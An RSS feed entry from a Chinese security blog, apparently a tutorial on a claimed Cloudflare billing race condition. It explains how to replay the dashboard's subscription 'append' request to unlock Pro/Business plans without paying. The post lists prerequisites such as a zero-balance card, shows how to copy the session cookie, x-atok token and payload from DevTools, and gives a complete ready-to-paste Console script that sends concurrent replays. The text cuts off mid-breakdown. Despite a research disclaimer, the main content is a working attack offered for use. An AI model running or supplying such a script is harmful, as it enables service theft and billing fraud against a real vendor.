<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>计费安全 on 逍遥笔记</title><link>https://blog.7qiang.com/tags/%E8%AE%A1%E8%B4%B9%E5%AE%89%E5%85%A8/</link><description>Recent content in 计费安全 on 逍遥笔记</description><generator>Hugo -- gohugo.io</generator><language>zh-cn</language><copyright>逍遥笔记</copyright><lastBuildDate>Tue, 19 May 2026 16:10:00 +0000</lastBuildDate><atom:link href="https://blog.7qiang.com/tags/%E8%AE%A1%E8%B4%B9%E5%AE%89%E5%85%A8/index.xml" rel="self" type="application/rss+xml"/><item><title>Cloudflare 计费逻辑缺陷：请求重放如何绕过订阅支付</title><link>https://blog.7qiang.com/posts/manual-sec-20260519-cloudflare-billing-race-condition/</link><pubDate>Tue, 19 May 2026 16:10:00 +0000</pubDate><guid>https://blog.7qiang.com/posts/manual-sec-20260519-cloudflare-billing-race-condition/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post Cloudflare 计费逻辑缺陷：请求重放如何绕过订阅支付" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;⚠️ 免责声明：本文基于已公开资料进行技术复盘，所有内容仅用于授权安全研究与防御建设。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;⚠️ 时效性提醒（2026-07 更新）&lt;/strong&gt;：本文发布于 2026 年 5 月，距今已过去 2 个月。Cloudflare 对安全漏洞响应迅速，该计费竞态条件大概率已被修复，&lt;strong&gt;当前可用性存疑&lt;/strong&gt;。本文保留仅供分布式系统安全设计参考。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="一一个有趣的发现身份与权限的量子叠加"&gt;一、一个有趣的发现：身份与权限的&amp;quot;量子叠加&amp;quot;
&lt;/h2&gt;&lt;p&gt;在针对 Cloudflare 订阅体系进行逆向测试时，研究人员发现前端结算逻辑与后端状态同步之间存在一个精妙的&amp;quot;空隙&amp;quot;——通过特定方式的&lt;strong&gt;请求重放（Replay Attack）&lt;/strong&gt;，可以在系统未产生实际账单的情况下，诱导后端激活 Pro 或 Business 计划。&lt;/p&gt;
&lt;p&gt;其核心表现不是简单的&amp;quot;绕过&amp;quot;，而是一种奇特的&lt;strong&gt;状态错位&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;权限已越权&lt;/strong&gt;：账号实质性解锁 Pro/Business 专属功能——WAF 高级规则、图像优化、独享边缘节点等全部可用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;状态未同步&lt;/strong&gt;：订阅管理界面仍显示为 &lt;code&gt;Free&lt;/code&gt; 计划，计费链路未闭环，不产生任何待支付条目或扣费账单。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;零成本运行&lt;/strong&gt;：利用结算接口的逻辑缺陷，实现了高级权限的&amp;quot;0 元购&amp;quot;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这种现象在安全研究中有一个形象的名字——&lt;strong&gt;量子叠加态&lt;/strong&gt;：账号同时处于 Free 和 Pro 两种状态，取决于你从哪个维度去观测它。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二前置条件"&gt;二、前置条件
&lt;/h2&gt;&lt;p&gt;复现该逻辑缺陷需要满足以下条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;域名已接入&lt;/strong&gt; Cloudflare 账户；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;支付环境未绑定有效卡&lt;/strong&gt;（或绑定余额为 0 的卡以通过前端校验）；&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;Active Subscriptions&lt;/code&gt; 页面点击 &lt;code&gt;Change&lt;/code&gt;，选择 Pro 或 Business，进入待支付页面。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;到这里，你拥有了一个&lt;strong&gt;合法的会话上下文&lt;/strong&gt;——这是关键。接下来的所有操作，都是在合法会话内对接口时序的操纵，而非传统的认证绕过。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="三漏洞利用全流程"&gt;三、漏洞利用全流程
&lt;/h2&gt;&lt;h3 id="第一步定位关键请求"&gt;第一步：定位关键请求
&lt;/h3&gt;&lt;p&gt;打开浏览器 DevTools（&lt;code&gt;F12&lt;/code&gt;），切换到 &lt;strong&gt;Network&lt;/strong&gt; 标签页。&lt;/p&gt;
&lt;p&gt;在待支付页面点击底部的 &lt;strong&gt;支付按钮&lt;/strong&gt;，留意 Network 面板中新产生的请求。定位名为 &lt;strong&gt;&lt;code&gt;Append&lt;/code&gt;&lt;/strong&gt; 的 POST 请求——这就是 Cloudflare 订阅结算的核心接口。&lt;/p&gt;
&lt;p&gt;这个请求一旦发出，后端会同时触发两条路径：&lt;strong&gt;权限授予&lt;/strong&gt; 和 &lt;strong&gt;支付校验&lt;/strong&gt;。问题就出在这两条路径不是原子执行的。&lt;/p&gt;
&lt;h3 id="第二步提取攻击所需参数"&gt;第二步：提取攻击所需参数
&lt;/h3&gt;&lt;p&gt;选中 &lt;code&gt;Append&lt;/code&gt; 请求，从 DevTools 中提取以下四个关键要素：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;参数&lt;/th&gt;
 &lt;th&gt;DevTools 位置&lt;/th&gt;
 &lt;th&gt;用途&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;Request URL&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Headers → General → Request URL&lt;/td&gt;
 &lt;td&gt;目标接口地址，类似 &lt;code&gt;https://dash.cloudflare.com/api/v4/.../append&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;Cookie&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Headers → Request Headers → Cookie&lt;/td&gt;
 &lt;td&gt;当前登录会话的身份凭证&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;X-atok&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Headers → Request Headers → x-atok&lt;/td&gt;
 &lt;td&gt;Cloudflare 仪表盘的 CSRF/身份校验令牌，每次登录刷新&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;Payload&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Payload → View Source&lt;/td&gt;
 &lt;td&gt;请求体的原始 JSON，包含订阅升级的目标计划 ID、域名 zone_id 等&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;这四个参数构成了一个完整的&amp;quot;合法升级请求&amp;quot;。重放它们，就是在用合法的身份反复触发升级逻辑。&lt;/p&gt;
&lt;h3 id="第三步理解核心漏洞原理"&gt;第三步：理解核心漏洞原理
&lt;/h3&gt;&lt;p&gt;一个健康的订阅结算流程应该是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /append → 校验支付 → 支付成功 → 写入 Pro 权限
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;但 Cloudflare 的实际实现路径是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /append → 写入 Pro 权限 ─┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ├─ 两步异步，非原子
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 异步校验支付 ────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 支付失败（无有效卡）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 补偿任务回滚权限（有延迟，可能漏执行）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;两条路径之间存在一个时间窗口&lt;/strong&gt;。在这个窗口内，权限已经写入 Metadata，但账单尚未确认失败。如果利用并发请求冲击这个窗口，就能让权限&amp;quot;生根&amp;quot;而账单&amp;quot;流产&amp;quot;——数据库的 MVCC 机制在大量并发写入时，某些写操作可能绕过回滚逻辑。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="四漏洞利用脚本详解"&gt;四、漏洞利用脚本详解
&lt;/h2&gt;&lt;p&gt;以下是完整的 DevTools Console 自动化重放脚本。把它粘贴到浏览器 Console 中执行，替换掉 &lt;code&gt;PASTE_XXX&lt;/code&gt; 占位符即可：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * Cloudflare Subscription Bypass Replay Script
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * 在 DevTools Console 中执行，利用 Append 接口的竞态窗口
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ========== 第一步：填入从 Network 面板提取的参数 ==========
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PASTE_YOUR_URL_HERE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ↑ 从 Headers → General → Request URL 复制
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 格式类似：https://dash.cloudflare.com/api/v4/accounts/xxx/subscriptions/xxx/append
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;content-type&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;application/json&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;accept&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;*/*&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;origin&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://dash.cloudflare.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;referer&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://dash.cloudflare.com/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;x-atok&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PASTE_YOUR_X_ATOK_HERE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// ← 从 Request Headers 复制
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;x-cross-site-security&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;dash&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;cookie&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PASTE_YOUR_COOKIE_HERE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// ← 从 Request Headers 复制
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;user-agent&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// ← 从 Payload → View Source 复制完整 JSON
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 包含 zone_id、plan_id、billing_cycle 等字段
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ========== 第二步：执行并发重放 ==========
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;delay&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;async&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%c 开始执行请求重放...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;color: #007aff; font-weight: bold;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`[Batch &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;] Status: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`[Batch &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;] Error:`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 每次请求间隔 100ms
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%c 脚本执行完毕，请刷新控制面板验证权限。&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;color: #34c759; font-weight: bold;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="逐行深度拆解"&gt;逐行深度拆解
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;① 请求头中的安全参数复用&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;&amp;#39;x-atok&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PASTE_YOUR_X_ATOK_HERE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;&amp;#39;cookie&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PASTE_YOUR_COOKIE_HERE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;&amp;#39;x-cross-site-security&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;dash&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;X-atok&lt;/code&gt; 是 Cloudflare 仪表盘的反 CSRF 令牌，在页面加载时注入，每次登录会话生成一次。正常情况下它防止跨站请求伪造，但在这里我们&lt;strong&gt;在同源的 Console 中重放&lt;/strong&gt;，完全合法。&lt;code&gt;x-cross-site-security: dash&lt;/code&gt; 是 Cloudflare 内部微服务间通信的标识头，说明请求走的是 Dashboard 的内部网关路径。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;② Payload 的结构&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从 &lt;code&gt;View Source&lt;/code&gt; 复制出来的 JSON 包含关键字段：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;zone_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;xxx&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;plan_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;pro&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;business&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
